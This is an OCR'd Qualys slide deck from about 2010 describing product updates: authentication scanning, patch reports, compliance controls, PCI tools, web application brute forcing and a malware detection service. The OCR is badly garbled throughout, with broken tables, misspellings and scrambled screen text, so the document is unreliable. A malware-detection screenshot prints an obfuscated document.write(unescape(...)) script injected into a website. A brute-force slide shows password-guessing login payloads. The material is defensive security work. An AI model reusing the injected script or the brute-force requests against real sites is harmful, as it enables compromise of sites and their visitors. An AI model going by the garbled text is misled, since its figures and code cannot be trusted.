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QG VM Update 6.8 Jan2010

New QID 70053 “Windows Authentication Method
for User-Provided Credentials”

— Windows authentication was performed with user-

provided credentials. The Results section includes a list
of authentication credentials used.

v 1 Windows Authentication Method for User-Provided Credentials
QID: 70053
RESULTS:
User Name Root admin
Domain I rootl.vuln.ga.qualys.com I
Authentication Scheme Kerberos
Security User-based
SMB Signing Disabled
Authentication Record Irool domain credentials I
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QG VM Update 6.10

New Vulnerability Discovery method marks:
Remote only / Authenticated only / Remote and Authenticated

/= yulnerability Information - Windows Internet Explorer

=
OD Risk Analysis e Search

Tools File =

Yiew= Help~

Asset Groups General Information Qb
Report Templates Title:  CentDS Security Update for Poppler (T | Vulnerability Title:
User Accounts Severity Level: AN |4

Vulnerability Type: Discovery Method:

@iscovew Method:

Confirmed Yulnerability
Authenticated Only)

Search Lists

Option Profiles Authentication:  Unix 2%
) MACMMAM: Mo Usar Configuration:
Zcanner Appliance L
Edited: Mo Category:

Host Assets

Authentication Type:

Remote Only SHile

Authanticated Only

Remote and Authenticated
Al

==y

Damain Assets Owner. - Patch Available: ™ ves I Mo

Created: -
\ icati CVEID:
leb Applications Service Modified:  03/34/2010 at 15:02:35 (GMT-0700} |
Remediation Polic) User Modified: - Vendor Reference: |
Authentication Modified By. -

Bugtrag 1D: |
Business Units
Virual Hosts Senice Modified: [ ?_—| ?_I:mm-'dﬂf.-':r'.l':r'- - immiddhyyyy)
KnowledgeBase g h I ol I
garc ase
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QualysGuard VM 6.11 H2-2010

= New Microsoft Patch report with superseded information

Patch Summary
Total patches to apply: 24 Vulnerabilities addressed: 60 Security Risk {avg): ] ] ar

Patch Summary

Patch Number of hosts Vulnerabilities Average security
Addressed risk of
vulnerabilities

MSO9-xxx 12 24 3.5

MSOB-xxx 1 9 2.5

MSO6-xxx E) 4 5.0

MSO6-xxx [ 15 4.0

MaD6-00x 8 ] 2.0 Detailed Results
Total 24 b0 3.9

e > 10.10.10.22 (win2003-srv-o.vuln.qga.qualys.com, WIN203-SRV-0)

Patches to apply: 5 Vulnerabilities addressed: 14

Patch (QID) QIDs superseded Average security
risk of
vulnerabilities
M509-xxx (3234) MSO7-xxx (10345}, | 4.0

MS06-xxx (I87),

MSOB-xxx (9098) - 2.
MS06-xxx (2222) MS05-xxx(2344), 3.
M505-xxx(1239),
MS04-xxx(3434)
MS506-xxx (5432) MS05-xxx{4545), 4.2
MS05-xxx (3333),
MSO4-xxx (434),

M505-xxx (6BGT)
M506-xxx (2525) - 4.0
Total 9 3.9

0
5
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QG PC Update 6.8

= Provide human readable mapping of file/registry permissions in

compliance reports
= In the policies

g1 1617  Permissions set for "% SystemRoot%\system32\at.exe’ (Interactive, Service, Batch, Administrator, and System

accounts)

Windows 2003 Server

The "% SystemRoot\system32iat.exe” process is used to script’schedule tasks via the command line interface. As leaving the "at.exe” command
unrestricted would allow a malicious user to schedule malcode operations on the systems at a specific date and time with administrative-level
privileges, access to use the this "at.exe” capability should be disabled/restricted as appropriate to the needs of the business.

This List String value X indicates the current permissions set on the at.exe command for the Interactive, Service, Batch, Administrators, and System
Accounts.

(Accepts a list of regular expressions)

contains = SYSTEM:AB:C:D:EF:G:H: K L:M:N

= |n the reports

o)
@DEMAND SECURITY

- (B.1) 1617 Permissions set for "% SystemRoot%\system32lat.exe’ (Interactive, Service, Batch, Administrator, and System

Passed
accounts)

The
e SystemRootisystem3Z\at.exe” process is used to script'schedule tasks via the command line interface. As leaving the "at.exe™ command unrestricted

would allow a malicious user to schedule malcode operations on the systems at a specific date and time with administrative-lewvel privileges, access to use
the this "at.exe™ capability should be disabled/restricted as appropriate to the needs of the business.

This List String wvalue X indicates the current permissions set on the at.exe command for the Interactive, Service, Batch, Administrators, and System
ACCOUNtS.

Expected: Actual:
contains regular expression list

SYSTEM:ABC.DEF:GiH: LKL MM Batch: E:D:F:I:‘M:I‘-‘l
=]

Permission Translation

A Write B : Read C: Delete child

D : Traverse folder/Execute file E : Write extended F : Read extended

G Create folder/Append data H : Create files/\Write data | : List folder/Read data
J: Delete K : Change permissions L : Take ownership

M : Read permissions M Synchronize

QUALYS



QG PC Update 6.10 — Custom SSH Ports

Unix Authentication Record(s) —

Basic authentication {(user name and passward) is supported for SSH1 and 55H2. Key authentication (RSA andfar DSA) is
W y y supported for SSHZ anly.

User Mame: * | I Enable Sudo

Password [ ™ Clear Text Password

- Custom Ports Confirm Passward [

REA Private Key:

Paste the RSA private key into the space provided (S8H2 anly). See Help for proper forrmatting

DSA Private Key:

Paste the DSA private key into the space provided (S8H2 anly). See Help for proper forrmatting

Policy Compliance

If services (S5H, telnet, rlogin) are not running anwell known ports (22, 23, 513 respectively) enter the ports in the custam
field below.

Ports & el Known Ports (22,23,513)
' Custom Ports: |

example: 2222, 2223

Comments

Save Cancel Help | =
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QG PC Update 6.10 — Custom SSH Ports

New Ports Section
Standard Scan (~1900 Ports)
= Standard VM Ports — conrs
| Custom SSH Ports eeeeeeeeeeeeeeeeeeeeeee Configure... |l_ File Integrity Monitoring controls enabled
= Default Setting for e —— S S
existing Option * s i
Profiles t
Targeted Scan Save | SaveAs. | Cancel Help

= Authentication Record
Ports

= Custom SSH Ports

» Default Setting for
new Option Profiles
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QG PC Update 6.10 — Oracle OS Checks

acle Record

Windows Parameters
— Oracle Home Name

Record Title

Title: * [

|_Login Credentials | Windows  Unix | IPs |

Windows Parameters

— Oracle Home Path

I~ Perform 0O8-dependent compliance checks (Windows authentication required)

Oracle Home name:* [

— Init.ora

Oracle Home path: = |

S pfl Ie O ra example: e\Program Files\Oracle\10
.

init(SI07.ora; * |

Oracle Reco
example: e Program FilestoracleldbslinitORA0.0ra

. OI
example: e Program Filestoracletngtmothadminispfile0RAID. 013 Title: * l—

listener.ora: * [

— Sglnet.ora

sqinetora; * |

Unix Parameters

example: e\Program Filestaracletnetuodtadminisginet ora [ Perform o checks (Unix aul required)
I nsnal I IeS.Ora tnsnames.ora: > |

example: e Program Filestoraclelnetmothadminitnsnames.ora

Qracle Home path: = |
axample: fustiaptiaraclaH1
init(SID).ora: * |

Unix Parameters i

spfile(SID).ora; = |

example; fusiopioracle/nebuotkda dminispfils DRAID. ora

— Oracle Home Path oo |

example: fusiopioracle/netuoddadmin/listener.ora

solnetora:* |

— |n|t ora xample: AstosiaracainetadadminsaInstora
.

ora* |

example: fusiopYoracle/netnoddadmintnsnames ora

- Spflle.ora Save Cancel

— Listener.ora

— Sqglnet.ora

— Thsnames.ora concel | heo |
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QG PC Update 6.10 - Control Creation Date

Controls Listing

— Created column

@UALYSGUARD"ENTERPRI SE SUITE

@ WAS Scan
FOCC Scan
@ Schedule
'Il Report

m Exceptions
* Remediation
g Asset Search
qp Rizk Analysis

Tools

Asset Groups
Report Templates
User Accounts
Search Lists

Option Profiles
Scanner Appliances
Host Assets
Dornain Assets
Weh Applications
Remediation Policy

Authentication

Meww  Search  Miew= Setupr Helpw

Controls

Actions IDeIete x| Apply |

& & a & Matt Alderman fgquays_mal) | Log Out
[ )

" Info Edit CID - Statemant Category Created Brodified =
& Dl 100009 Status of "edit.com” file Integrity and Availahility 0032010 @2032010
@ [ll 100008 Status of "ntuser.dat’ file. Integrity and Availahility 02032010 @2032010
" & [j 100005 Disable Modprobe Loading USB Storage Driver. Services 10/0272009  QOM0272008
@ [ll 100004 “erify permigsions of Software Inteqrity Checking software. Integrity and Availahility 10/02/2009 MOO2/2009
| (@ [ll 100003 verify Software Integrity Checking (AIDE) is installed. Integrity and Availahility 1040252009 0/02r3a009
[T G [ 100002 ~hashre contains VT100 Services 09/28/2008 W9r28/2008
& Dl 100001 Check if fetc/password exists 05 Security Settings 092872009 WW282009
[ & Dl 100000 windows file permission check Access Control Reguirements 04/28/2009 W4/28/2009
=@ Dl 3876 IS5 2008-v1.0.0 1.10.4 - Do not allow passwords to be saved 05 Security Settings 033002010 @A302010
B ® Dl 3878 IS5 2008 -v1.0.01.10.3 - Do not allow drive redirection 05 Security Settings 032972010 Q2292010
=@ Dl 3874 QPCHPUX- Checkforthe use of fetoishadow 05 Security Settings 03292010 WI292010
B ® Dl 3872 CIS HP-LEy1.4 7.7(4) - Restrict at'cron to autharized users (at.allow users) 05 Security Settings 03292010 WI292010
=@ Dl 387 15 HP-Li w1 4 7.3 - Prevent Syslog from accepting messages from the network Integrity and Availability 03292010 WI292010
B ® Dl 3870 IS HP-LEy1 .4 3.6 - Openview Agents (setcommunity) 05 Security Settings 03292010 WI292010
= Fiososn  elc4 3 U0y Cie D fre mok_nanfin ontenl Do RETETTET LT nrntn

=

Please click on an item in above datalist o view its preview.

U1 L 20 of 1771 ltems Shown, 0 selected

o)
@DEMAND SECURITY



QG 6.10 PC - File Integrity

= Enable File Integrity
— Options Profile

Edit Compliance Profile

Compliance Profile Title

Title: * |CompliancePr0file

Cramer | Farminder Singh (Manager: quays_ps? ) j

™ Make this a globally available option profile

Scan | Additional

Scan
Performance ~Control Types
Caonfigure perfarmance aptions far scanning your netwark, Digabling certain contral types will imprave perfarmance.
Cwerall Performance: High  Configure... | I¥: File Inteqrity Monitaring controls enabled

Restore Defaults |

Save Save As.. Cancel Help |
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QG 6.10 PC - File Integrity

This control type checks the integrity of a user-specified file

= User Defined Control

Statement: *

— Windows !
|
|

KIKY

Sub-Category: ™

Comments:

— Unix

Scan Parameters*

| S‘ al I P aral I lete rS The scan parameters, or data point, indicate what location, file, or setting for the scan to check.

File/Directory path: = |

Hash Type: ™ [rDE

— File/Directory Path =

Description: =

— Hash Type e
u M D5 Control T i

I windows XP desktap
SHA 1 Use this section to create a Windows P desktop instance of this control

™ windows 2003 Server

| | SHA_256 Use this section to create a Windows 2003 Server instance of this control

™ windows 2000
Scan Parameters Use this section to create a Windows 2000 instance of this control

Scan Parameters I windows Vista

Use this section to create a YWindows “ista instance of this contral

File/Directory path: * |

™ windows 2008 Server
Use this section to create a Windows 2008 Server instance of this control

e.q. cwindoninotepad. exe or chwindoush

Hash Type: * | WOE ™ windows 7

Use this section to create a Windows ¥ instance of this control
Data Type: String .
Description: * References

Reference
FDescrlpll\jn urRL|

Add Reference

Add | Cancel Craste Cancel | Help |
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QG 6.10 PC - File Integrity

= Reports
— Scan Parameters
— Extended Evidence

Windows XP Baseline

File= View= Help~=

8. File Integrity

w (8.1) 100009 Status of "edit.com” file. Passed

Werifi integrity of "edit.com” file,

Status of"edit.com” file.

Scan Parameters:

File path: % SystemRoot%iSysterm3edit.com

Hash Type: SHA-

Expected: Actual:

regular expression match hflc4788hath3329dda3afedfT 2chd2a2ed20499

*

Extended Evidence:
File size Last write time

6825 KB 0872352001 at 05:00:00 (GMT-0700)

=
1 | 3
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QG 6.10 PC — User Defined Controls

I~ HPUX 11.v3
Use this section to create a HPUX 11.iv3 instance of this control

= New User Defined Controls
™ apBx
. WI n dOWS Lse this section to create a Al B.x instance ofthis control

H 7 Mac 0S¥ 10x
= WI n dOWS 7 Use this section to create a Mac 05 X 10.x instance of this control

- U NIX I wiiare ES Server 3.

Use this section to create a WivWare ES¥ Server 3xinstance of this control
= AIX 6.X

I wiiare ES Server 4
Use this section to create a Wivare ESX Server 4 xinstance ofthis contral

= CentOS 4.x/5.x
. . 7 Centos 4x
] De b I an G N U/LI n UX 5 .X Use thiz section to create a CentOS 4 xinstance ofthis control
1 r ;
" H P U X 1 ll 'VS Use(t:hﬁgtngcﬁoxn to create a CentOS Sxinstance of this control
- MaC OS X 10 'X ™ oracle Enterprise Linux 4
Use this section to create a Oracle Enterprise Linux 4 instance of this cantrol
= openSUSE 10.x/11.x
™ oracle Enterprise Linux §
= = Use this section to create a Oracle Enterprise Linux § instance of this control
= Oracle Enterprise Linux 4/5 i
. . ™ Debian GNUILinux 5.
u S U S E E nterp rise |_| nux l 1 X Use this section to create a Debian GNUILINU 5. instance of this contral
= Ubuntu 8.x/9.x ™ Ununtuax | |
Use this section to create a Ubuntu 8. instance of this control
» VMWare ESX 3.x/4.x

™ Ubuntu 9.3
Use this section to create a Ubuntu 8x instance of this contral
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QG 6.10 PC — Multiple Oracle SIDs

- -
= Policy Compliance Only [

Record Title

= Authentication Record |
— Enable for PC Only [ Lagin Gredentials | IPs |

Login Credentials

. Reports User Mame: ™~
— TeChnO'OgyS|DP0rt added Pagsword: *

|
|
Canfirm Passward: * |
= Template Reports D * |
Pors & allPorts O F'Dr‘[l—

[ Allow scanning multiple instances (S10s) on IPs/ports also used in other records. Ifthis scanning option is selected, this
record will be used for Policy Compliance scans only.

= |nteractive Reports

Comments
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QG 6.10 PC — Asset Group Filtering

* Policy Report

. Uze the following farm to create a newy repart on caompliance data.
—Filter By Asset Group

Report Details

= All: Display Trend e |
Report Type: | Policy Repart =

[ ] By Asset Group Report Template: * |
NO Trend Report Forrmat = |Purtable Document Format (FOF) j

Report Source*

Select a policy to draw data from.

Policy: Eintons 2003 oy Policy M
Asset Graups:

& Al Asset Groups in policy

o Select asset groups

Falicy Asset Groups: [WhwareLah, Windows LAB

maote: Trend data will not appear in report unless all asset aroups are included.

Run Cancel Help |
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QualysGuard PCI 4.0

Discovery Scan

= Provides merchants with the ability to discover live devices and help
them identify systems that are in scope for PCI.

= Simple 1-click workflow to add new live devices to accounts.

[ |
®
@ UALYSGUARD PCI %DEMAND SECURITY
Payment Card Industry Compliance Jim Bibles | Help | Log Out
Discovery Scan Results =

Home jim test 09/08/2009
Hetwark b Details

New Scan

*Scheduled Scans

- Sean Results Total Hosts New Hosts Hosts not Live

f‘"VuInerabiIities

*-False Positive History 107 107 0
Compliance (Details) (Details) (Details)

“Compliance Status

“ Submitted Reports
Questionnaires

*-Saved Questionnaires

Now Custome

" Buidence P AddIPs | DeletelPs | Msearch (iq) (@)1 - 107 of 107 =] (3] (3) @
A t

'f?;z;mgs [~ Detals| P / | DNS Name | o8 | NetBlos | Type|InAccount

“|P Assets [~ @ 101010251 rednat-es3-s2.vuln.qa.qualys.com Mo o
@ 2009 Qualys, Inc. Privacy Policy j
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QualysGuard PCI 4.0

PCIl Connect

= New platform to connect customers with relevant technology providers
directly from the SAQ.

= Extend compliance data collection beyond scanning.
= Ability to consolidate compliance data from various security solutions

®
@ UALYSGUARD* PCI %DEMAND SECURITY
Payment Card Industry Compliance Jim Bibles | Help | Log Out
Requirement 1 Payment Card Industry Self-Assessment Questionnaire D 09/11/2009
Requirement 2 Started: 09/02/2009 Last Edited: 09/10/2009 Due Date: 09/09/2010
Requirement 3
Requirement 4
Requirement & t budence -l
Requirement 6
Requirement 7 View a list of third party vendors whose products can help you comply with PCI DSS regulation 2.1.1( -
Requi t §
Rzgﬁ:zmz:t 9 211 (b)  Arewireless device security setings enabled for Cyves Mo CNA
B Thi _ = - g _ x
Reauirement 10
-
Requirement 11 :
H H saling Controls
Requirement 12 AirTight Networks s
AirTight Networks is the leading provider
Import QualysGuard PCI of wireless security solutions to
Connect XML automatically detect, classify, block and
locate wireless threats. Ensure I~ -
22 compliance with PCI DSS standards Na NIA
using AirTight Networks' automated
wireless scanning, audit, and )
_ compliance solutions. SpectraGuard® sating Controls
Al r-I- ht Online automates wireless scanning and this?
NETWORKS requires no [T intervention, making PCI
wireless compliance low cost and
effortless. SpectraGuard Online is offered - ~
22 as four levels of on- demand services to 'I = Na NIA x
<I nnnnnnnnnnnnnnnnnnnnnnnnnnnn I »
.......... Save Draft SubmltFina||Cancel| st e e eeeesseseses st st s s as st aass0saann

@ 2009 Qualys, Inc. Privacy Policy :| °
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QualysGuard PCI 4.0

Import Evidence Capability

= Users can now upload and attach evidence to support SAQ validation
iIn multiple formats including PDF, ZIP, DOC and images

= Same evidence file can be attached to multiple questionnaires' and

Description Response

2.1 Are vendor-supplied defaults always changed before installing a system on the network? OYves (ONo (ONA
Examples include passwords, simple network management protocol (SNMP) community strings. and elimination of )
LNNecessary accounts. () Compensating Controls

What is thes?
+ More Information Anatelher

+ Commy

=) Evidence
core_impact pci vulnerability reportpdf 66.28 KB 09/30/2009 T
oad a File Link an Existing File
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QG WAS Update 6.7 Nov2009

New Weh Application

Multi-Site Scanning .
support for web Tite:*
ap p I I C atl O n S Cramer. ™ |Mike Shema (Manager: quays_ms2 ) V|

———{ Application Info | Authentication | BlackMihite Lists | Business Info | Advanced | UserAccess |

Application Information

= ... licensing benefit for Application Definton
Scannlng Iarge \L:ietr;:fulltlnzving ﬂeldstu| define the web application.
ifual Host: wweer U alys.com

appllcatlons Wlth Same Uze ether an IP address or FQDM
user-access context ... Starting Port. * a0

Starting LRI * |,.f

O Lirnit crawling to starting LRI and its sub-directaries
Add hulti-Site Support

Option Profile

Select a default option profile to use with this web application.

Option Profile: Mone V| [2 view

[ Save l [ Cancel
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QG WAS Update 6.8 Jan2010

Password Brute Forcing of web applications users
= Require QID 150049 - Login Brute Force Vulnerability
= Email addresses collected by QID 150054 is used as username
= Warning : if there is a lockout policy, there is a risk to lock accounts

anon Edit Web Application Profile ~INFO (3) @@
C https://prod.ga.qualys.com/fo/webapp/weba rofile_edit.php?id=149423&refresh_parent=1#
WS agualysscom, hups://prod.qa.qualys.com/fo/webapp/webapp_profile_edit.phprid=1494234refresh_parent=14 | _ wume (4 | ogin Brute Force Vulnerabilty (1)
Edit Web Application Profile 150048
Web Application
‘General Information Vendor Reference -
Bugtraq ID: -
Title: BF_TEST Service Modified:  08/10/2009
User Modified: -
Owner. * (M M M : ) B Edited: No
] Make this a globally available web application profile. THREAT:
This ility eccurs when a malicious user succeeds o guess a valid username and password that will enable them to authenticate ilicitly to a Web application
r i - 3
|_Crawling | Vulnerabilities | Sensitive Content | The username and password would be "guessed™ based on a generated list that can come from two sources: a user-defined configuration, or an internal list provided
Vulnerability Detection by the WAS module based on the most common usernames and passwords.
Use the complete list of web application vulnerabilities in your scan or choose a custom scan constructed from the selected search lists. IMPACT:
The consequences will vary depending on which account the malicious user found. Obvicusly if the admin account has been found this way the conseguences are
e Complete much higher than a guest account.
O Custom Examples of conseguences:
rights on the Web site
Password Brute Forcing Identity theft

Access to critical business related data
Select the level of password brute forcing performed by scans. An "Exhaustive” setting will increase scan time.

SOLUTION:
@ Perform password forcing Implement a mechanism that will limit the number of attempts for a given username. This will prevent any brute forcer to test for more complex passwords.
O Minimal (empty passwords + UID = password) Enforce a password policy that will make sure that the password is complex enough to prevent any easy guess (password equals username, or is a number, or a
O Limited {+ 10 most common passwords) dictionary word). It is really important because if a password can be guessed in one attempt (for example, password equals username) then any limitation of number of
(O Standard (+ 20 most common passwords) tempes. woukd L eless.
O Exhaustive (will increase scan lime) Itis that a pas: has at least 8 ing numbers and special characters. Avoid replacing a letter that looks ke a number by its
® Custom : Make exactly 11 attempts. Use this option if you have a lockout mechanism for failed attempts. corresponding number (for example, © with zero, e with 3) since many brute forcers do check for them.
w http:/[10.10.26.238:80/ 10.10.26.238:80
Params -
E — oqeere = —~
( sae ) (savess.. ) ( Cancel ) Payload: login=jsmith&password=1 Gaction=login&submit=Login

Result  Username: jsmith Password: 1*****

Payload: login=admin&password=a*****&action=login&submit=Login

Result: Username: admin Password: a™***"
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QG WAS Update 6.8 Jan2010

New Weh Application Record

Authentication Form Fields
manual configuration

General Information

|Say Friend and Enter |

[ Form Authentication | Server Authentication |

Form Authentication

" L] aUtomatI C Form_based Enterthe details for the login form. One ofthe easiest ways to find the form values is to view the source code

and search far "=form" fwithout the quotes). Most browsers allow you to view the source either through the

authentlcatlon doesn ’t "“Wiew" menu ar by right-clicking on the page.

Form Details

always automa‘tlcal Iy There may he several forms on the page. Be sure to copy details from the form that contains the login fields.
. Time:
authenticate...

Action: |

| . nOW you Can Cu Stom |Ze [ zend authentication over 5L anly
I I Form Fields
m u Itl ple Form fl eldS for Enterthe login fields below. Login fields will commanly he User Mame or Login and Password. There may be

mare fields and even hidden fields that do not show on the screen. Ifthe form has fields that change

auth e ntl Catl O n depending on whatyou select we suggest you fill outthe form entirely and then look atthe source code ofthe

page. See the Help for examples of form fields.

Mame Walue Canfirm Value

|UserName | Gandalf | o) Remove
Pasovor [ e | © omne
i | [ = | © Remme
3 Add Field

S0 Add Masked Field
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QG Malware Detection Service
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Free Malware Detection Service
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Safeguards Your Brand
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Introducing

QualysGuard Malware Detection

= New FREE Malware Detection Service

- Dally scans that provide immediate insight into malware issues

- Automated alerts

- ldentifying vulnerable code snippets for quick and easy removal
of malware
M@RE

uuuuuuuuuuuuuuuuuuuuuuu

@UALYSGUARD‘ MALWARE DETECTION

Welcome to QualysGuard®
Malware Detection

aaaaaaa

| Add Domain | | Schedule Daily Scans |
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QualysGuard Malware Detection

Static and Behavioral Detection
Two-pronged approach for detecting malware:

- Static Analysis — using a “signature-based” approach, the
service identifies potential source code that is typically used in
malicious attacks.

- Behavioral Analysis — the service visits the web site with a
vulnerable browser and operating system and runs tests to

determine if the web site behaves outside of normal operating

gL“deIineS. @UALYSGUARD’ MALWARE DETECTION M@RE

= Palicy € i - Qualys
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QualysGuard Malware Detection

|dentification of Malicious Code

@UALYSGUARD‘ MALWARE DETECTION

i m—(— . — T I
A& | Malware Detection | ¥ |, Details Browser |+ & Welcome Brett L‘ Products ¥ | Support

Malware Details Explorer Fetch:| Pass Fall Both Static: Pass Fail Both Behavioral: Pass  Faill Both

i Ll “ Paul Casey - Quicksilver Metalsmithing
#= Scan Details YLD i, KXCXXNOK. ... O
Start Sites (2) !

Source Code ®
http://10.10.24 T T

<a href="http://www.nwdc-cnline.org" target="_blank">Northwest Designer
http://10.10.26 Craftsmen</a><br>

bt d for obfuscating

<ahref="http://www.abana.org/" target="_blank">Artist-Blacksmiths Association of
North America</a»<br>

http://misc-seci
hitp://misc-security.d

<ahref="http://www.blacksmith.org" target="_blank">NorthWest Blacksmith's
Association</a><br>

http://qualys.cq <ahref="http://www.metalmuseum.org/" target="_blank">National Ornamental Metals 5:3D176%62%73%

hitp:/fqualys.com Museum, Memphis, TN</a=</p>

http://www.2.w <pr<strong>Examples of work are included in:</strong><br>
fwrw. 2. whitea <em>The Contemporary Blacksmith</em» by Dona Meilach<br>

http://www.cou © 2000 - Schiffer Publishing.<br>

hetp:/ www, urtot. <br>

R — Periodicals:<br>

P i ..g | Northwest Home and Garden, Jan/Feb 2007: 20 Hot Kitchen Designs; architect Geoff [EGISTRY \MA/
e/ wwiw google.cd Prentiss</p>

http://www.god <p>Work is in collections world-wide. </p>

http:/fwww.google.cd </div>

http://www.quz </div>
hittp: y.c
[EGISTRY\USER\S
http://www2.wi <div id="footerContainer">® 2007 Paul Casey | <ahref="sitemap.html">Site Map</a></div>

Fwarw2 wihitzad <script language="javasecript">

document.write( unescape( "3%3C3%53%43%52349350%5432036C36136E26727526136726523D276%62373
632723693703 74%3E22030A%27362%79320%64365%6DL6F36EX63368369%6CE6422030A%2T7268374374
$T0%3A22F32F%64%6536D36F26ER 2D 7336F%6637432E46336F%6D10RA1TBE69%7326933D%22368374374
$T0%:3A22F22F277%7727732E26E369%6B163%6432E163%6F36D%2230A153%65%74220364%6632033D320 v

»i

Page| 1 of2 F Kl
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QualysGuard Malware Detection

Pricing and Availability

* Pricing
» FREE for ALL (up to 10 domains per user account)

 Avallability

» Avalilable today in Beta:
http://www.qualys.com/STOPMALWARE
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QG Secure GO Service

he QualysGuard®

| T Security + Compliance Suite
VM PC pcl was AL

QUALYS’ Secure Your Web Sites from
2Ol Malware & Vulnerabilities &

Increase Sales
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Introducing

Qualys GO SECURE Service and SECURE Seal

@ QUALYS GO SECURE

# SecureSeal « ‘ Welcome Brett = Support Logout

Welcome to Qualys® Secure
The only web site security seal that extends the ability to:

' Identify Malware

/

- . el 2 i
o Scanfor Web Application Vulnerabilites

— ,,'}‘ Ly ) ‘\
&\ J & | | ¥ & Verify the SSL Certificate

Build trust with your online customers, prevent data breaches and

& Scanfor Perimeter Vulnerabilities

QUALYS"® | e
SECURE

[
Start Scanning | Howy it Works |
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Qualys GO SECURE Service and Seal

Types of Scans

Malware Detection (Daily)

— Detects malicious software that could be hosted by the web site and infect
visitors

Perimeter Scanning (Weekly)

— ldentifies externally facing vulnerabilities of the web server that could give
attackers access to information stored on the host

Web Application Scanning (Weekly)

— Crawls and injects HTTP requests to the web application to identify
vulnerabilities such as SQL injection and Cross-Site Scripting (XSS)

SSL Certificate Validation (Weekly)

— Verifies the web site is using an up-to-date SSL certificate from a trusted
certificate authority (CA) for encryption of sensitive information during online
transactions
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Qualys GO SECURE Service and Seal

Review and Remediation of Malware & Vulns

® QuaLys Go SECURE GO'SECURE

# 'SecureSeal +  TestDomain l Welcome Brett = Support Logout

Test Domain

#~ Findings Scan Status: Failing Seal tests
{5 scan Histary URL: http://10.10.26.77  IP: randon
Q Exceptians Test Domain is currently failing the Secure Seal vulnerability scan. Please correct

the found vulnerabilities of submit exceptions.

Scan Type
D Maluars G * a
[Jweb Application L% . ¥
Parintar Vel App [RET TR Cartificats
[ Perimeter

|‘,3—/Scan Moy = | | Recuest Exception | |—H— Erter Code

[] certificate

En;i';lf:nh&:s : @ Reflected Cross-Site Scripting (XSS) Vulnerabilities

10.10.26.77-0I0: 150001 {12 instances

@ Delete Domain

] ~

[d ResetScans Qlb: 150001 CV55 Base: 75 =

[ ResetDomain Category: Web Application CVs5 Temporal: 6.7 1
CVE ID: null

Description:

%55 vulnerabilities occur when the Web application echoas user-supplied data in an HTWIL response sent to
the Web browser. For example, a Web application might include the user's name as part of a welcome
message or display a home address when confirming a shipping destination. If the user-supplisd data
contain characters that are interpreted as part of an HTRIL element instead of literal text, then an attacker
can modify the HTRIL that is received by the victim's Web browser.
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Qualys GO SECURE Service and Seal

Qualys SECURE Seal — How It Works?

= Merchant adds SECURE seal code to
their web site to display seal to visitors

QUALYS'
ECURE

= Remediation and Removal

— Merchant schedules the scans to run automatically on web site on a recurring
basis (daily for malware, weekly for vulns and SSL cert validation)

- Merchant is notified once malware or vulnerabilities are identified, or SSL cert no
longer valid

= Merchant resolves the malware/vulnerabilities found to continually
show the seal to customers

- Seal is removed within 72 hrs if malware or a critical vulnerability is identified

- Merchant can fix and rescan to revalidate the seal at any time
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@UALYSGUARD‘

SECURITY & COMPLIANCE SUITE

Thank you

mskalicky@qualys.com
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